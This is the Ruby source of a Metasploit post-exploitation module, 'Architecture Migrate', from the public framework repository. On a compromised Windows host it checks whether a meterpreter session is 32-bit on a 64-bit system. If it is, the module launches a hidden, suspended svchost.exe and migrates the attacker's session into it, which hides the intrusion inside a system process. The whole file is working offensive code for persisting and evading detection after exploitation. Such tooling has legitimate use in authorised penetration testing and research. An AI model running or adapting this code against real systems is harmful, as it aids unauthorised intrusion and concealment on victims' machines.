metasploit-framework/modules/post/windows/manage/archmigrate.rb

111 lines
3.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Post::Common
include Msf::Post::Windows::Priv
def initialize(info = {})
super(update_info(
info,
'Name' => 'Architecture Migrate',
'Description' => %q(This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a
new process with the correct architecture and migrates into that process.),
'License' => MSF_LICENSE,
'Author' => ['Koen Riepe (koen.riepe@fox-it.com)'],
'References' => [''],
'Platform' => [ 'win' ],
'Arch' => [ 'x86', 'x64' ],
'SessionTypes' => [ 'meterpreter' ]
)
)
register_options(
[
OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']),
OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]),
OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have SYSTEM privileges', false])
],
self.class
)
end
def check_32_on_64
begin
apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"]
# railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits.
if apicall == "\x00\x00\x00\x00"
migrate = false
else
migrate = true
end
return migrate
rescue
print_error('Railgun not available, this module only works for binary meterpreters.')
end
end
def get_windows_loc
apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"]
windir = apicall.split(":")[0]
return windir
end
def do_migrate
if check_32_on_64
print_status('The meterpreter is not the same architecture as the OS! Upgrading!')
newproc = datastore['EXE']
if exist?(newproc)
print_status("Starting new x64 process #{newproc}")
pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
print_good("Got pid #{pid}")
print_status('Migrating..')
session.core.migrate(pid)
if pid == session.sys.process.getpid
print_good('Success!')
else
print_error('Migration failed!')
end
else
print_error('The selected executable to migrate into does not exist')
if datastore['FALLBACK']
windir = get_windows_loc
newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
if exist?(newproc)
print_status("Starting new x64 process #{newproc}")
pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
print_good("Got pid #{pid}")
print_status('Migrating..')
session.core.migrate(pid)
if pid == session.sys.process.getpid
print_good('Success!')
else
print_error('Migration failed!')
end
end
end
end
else
print_good('The meterpreter is the same architecture as the OS!')
end
end
def run
if datastore['IGNORE_SYSTEM']
do_migrate
elsif !datastore['IGNORE_SYSTEM'] && is_system?
print_error('You are running as SYSTEM! Aborting migration.')
elsif datastore['IGNORE_SYSTEM'] && is_system?
print_error('You are running as SYSTEM! You will lose your privileges!')
do_migrate
elsif !datastore['IGNORE_SYSTEM'] && !is_system?
print_status('You\'re not running as SYSTEM. Moving on...')
do_migrate
end
end
end